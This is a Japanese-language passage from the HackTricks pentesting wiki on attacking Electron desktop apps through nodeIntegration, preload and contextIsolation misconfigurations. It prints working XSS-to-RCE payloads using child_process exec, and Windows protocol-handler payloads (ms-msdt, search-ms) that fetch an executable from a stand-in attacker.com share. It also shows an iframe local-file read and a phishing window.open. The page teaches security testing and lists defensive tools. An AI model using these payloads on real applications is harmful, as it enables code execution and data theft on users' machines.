Electron Desktop Apps

Support HackTricks

はじめに

Electronは、ローカルバックエンド(NodeJS)とフロントエンド(Chromium)を組み合わせていますが、最新のブラウザのセキュリティメカニズムのいくつかが欠けています。

通常、Electronアプリのコードは.asarアプリケーション内に見つかります。コードを取得するには、抽出する必要があります:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electronアプリのソースコード内のpacket.jsonには、セキュリティ設定が行われているmain.jsファイルが指定されています。

{
"name": "standard-notes",
"main": "./app/index.js",

Electronには2つのプロセスタイプがあります:

  • メインプロセス(NodeJSへの完全なアクセス権を持つ)

  • レンダラープロセス(セキュリティ上の理由からNodeJSへのアクセスが制限されるべき)

レンダラープロセスは、ファイルを読み込むブラウザウィンドウになります:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

設定は、renderer process内でmain processのmain.jsファイルに設定できます。いくつかの設定は、設定が正しく構成されている場合、ElectronアプリケーションがRCEやその他の脆弱性を防ぐことができます。

Electronアプリケーションは、Node APIを介してデバイスにアクセスすることができますが、それを防ぐように構成することもできます:

  • nodeIntegration - デフォルトではoffです。オンの場合、renderer processからNode機能にアクセスできます。

  • contextIsolation - デフォルトではonです。オフの場合、mainとrendererプロセスは分離されません。

  • preload - デフォルトでは空です。

  • sandbox - デフォルトではオフです。NodeJSが実行できるアクションを制限します。

  • WorkersにおけるNode Integration

  • nodeIntegrationInSubframes - デフォルトではoffです。

  • nodeIntegrationが有効になっている場合、これはElectronアプリケーション内のiframeで読み込まれたウェブページでNode.js APIを使用することを許可します。

  • nodeIntegrationが無効になっている場合、preloadsはiframe内で読み込まれます。

設定の例:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

いくつかの RCEペイロードこちら から:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

トラフィックのキャプチャ

start-main構成を変更し、次のようなプロキシの使用を追加します:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electronローカルコードインジェクション

Electronアプリをローカルで実行できる場合、任意のJavaScriptコードを実行させることが可能です。方法は以下を確認してください:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

nodeIntegrationonに設定されている場合、ウェブページのJavaScriptはrequire()を呼び出すだけでNode.jsの機能を簡単に使用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次の通りです:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

この設定で示されたスクリプトはレンダラー内の他のスクリプトの前に読み込まれ、したがってNode APIへの無制限のアクセスを持ちます:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

したがって、スクリプトはノード機能をページにエクスポートできます:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

contextIsolationがオンの場合、これは機能しません

RCE: XSS + contextIsolation

contextIsolation は、ウェブページのスクリプトとJavaScript Electronの内部コードの間に分離されたコンテキストを導入し、各コードのJavaScript実行が互いに影響を与えないようにします。これはRCEの可能性を排除するために必要な機能です。

コンテキストが分離されていない場合、攻撃者は以下のことができます:

  1. レンダラーで任意のJavaScriptを実行(XSSまたは外部サイトへのナビゲーション)

  2. プリロードまたはElectron内部コードで使用される組み込みメソッドを上書きして独自の関数にする

  3. 上書きされた関数の使用をトリガー

  4. RCE?

組み込みメソッドを上書きできる場所は2つあります:プリロードコードまたはElectron内部コード:

Electron contextIsolation RCE via preload codeElectron contextIsolation RCE via Electron internal codeElectron contextIsolation RCE via IPC

クリックイベントのバイパス

リンクをクリックする際に制限が適用されている場合、通常の左クリックの代わりにミドルクリックを行うことでそれをバイパスできるかもしれません。

window.addEventListener('click', (e) => {

RCE via shell.openExternal

この例に関する詳細は、https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 および https://benjamin-altpeter.de/shell-openexternal-dangers/ を確認してください。

Electronデスクトップアプリケーションを展開する際には、nodeIntegrationcontextIsolation の設定が正しいことを確認することが重要です。クライアント側のリモートコード実行 (RCE) がプリロードスクリプトやメインプロセスからのElectronのネイティブコードをターゲットにする場合、これらの設定が整っていれば効果的に防止されることが確立されています。

ユーザーがリンクと対話したり新しいウィンドウを開いたりすると、特定のイベントリスナーがトリガーされ、アプリケーションのセキュリティと機能にとって重要です:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

これらのリスナーはデスクトップアプリケーションによってオーバーライドされ、独自のビジネスロジックを実装します。アプリケーションは、ナビゲートされたリンクを内部で開くべきか、外部のウェブブラウザで開くべきかを評価します。この決定は通常、openInternallyという関数を通じて行われます。この関数がfalseを返す場合、リンクは外部で開くべきであることを示し、shell.openExternal関数を利用します。

以下は簡略化された擬似コードです:

Electron JSのセキュリティベストプラクティスは、openExternal関数で信頼できないコンテンツを受け入れることを避けるように助言しています。これは、さまざまなプロトコルを通じてRCEを引き起こす可能性があります。オペレーティングシステムは、RCEを引き起こす可能性のある異なるプロトコルをサポートしています。このトピックに関する詳細な例やさらなる説明については、このリソースを参照してください。ここには、この脆弱性を悪用できるWindowsプロトコルの例が含まれています。

Windowsプロトコルの悪用の例には:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

内部ファイルの読み取り: XSS + contextIsolation

contextIsolationを無効にすると、ローカルファイルを読み取って外部に流出させるために、<webview>タグを使用できるようになります。提供された例は、この脆弱性を利用して内部ファイルの内容を読み取る方法を示しています:

さらに、内部ファイルを読み取るための別の方法が共有されており、Electronデスクトップアプリにおける重要なローカルファイル読み取り脆弱性を強調しています。これには、アプリケーションを悪用してデータを外部に流出させるためのスクリプトを注入することが含まれます:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + 古いChromium

アプリケーションで使用されているchromium古い場合、既知の****脆弱性があると、それを悪用してXSSを通じてRCEを取得することが可能かもしれません。 このwriteupの例を参照してください: https://blog.electrovolt.io/posts/discord-rce/

内部URLの正規表現バイパスによるXSSフィッシング

XSSを見つけたが、RCEをトリガーできないか内部ファイルを盗むことができない場合、フィッシングを通じて資格情報を盗むためにそれを使用することを試みることができます。

まず、フロントエンドのJSコードを確認して、新しいURLを開こうとしたときに何が起こるかを知る必要があります:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

openInternallyへの呼び出しは、リンクがプラットフォームに属するリンクであるため、デスクトップウィンドウで開かれるか、ブラウザの3rdパーティリソースとして開かれるかを決定します。

関数で使用されるregexバイパスに対して脆弱な場合(例えば、サブドメインのドットをエスケープしない場合)、攻撃者はXSSを悪用して、新しいウィンドウを開くことができ、そのウィンドウは攻撃者のインフラストラクチャに位置し、ユーザーに資格情報を要求します:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

ツール

  • Electronegativity は、Electronベースのアプリケーションにおける誤設定やセキュリティのアンチパターンを特定するためのツールです。

  • Electrolint は、Electronegativityを使用するElectronアプリケーション用のオープンソースのVS Codeプラグインです。

  • nodejsscan は、脆弱なサードパーティライブラリをチェックするためのツールです。

  • Electro.ng: 購入が必要です。

ラボ

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s では、脆弱なElectronアプリを悪用するためのラボを見つけることができます。

ラボに役立ついくつかのコマンド:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

参考文献

HackTricksをサポートする

Last updated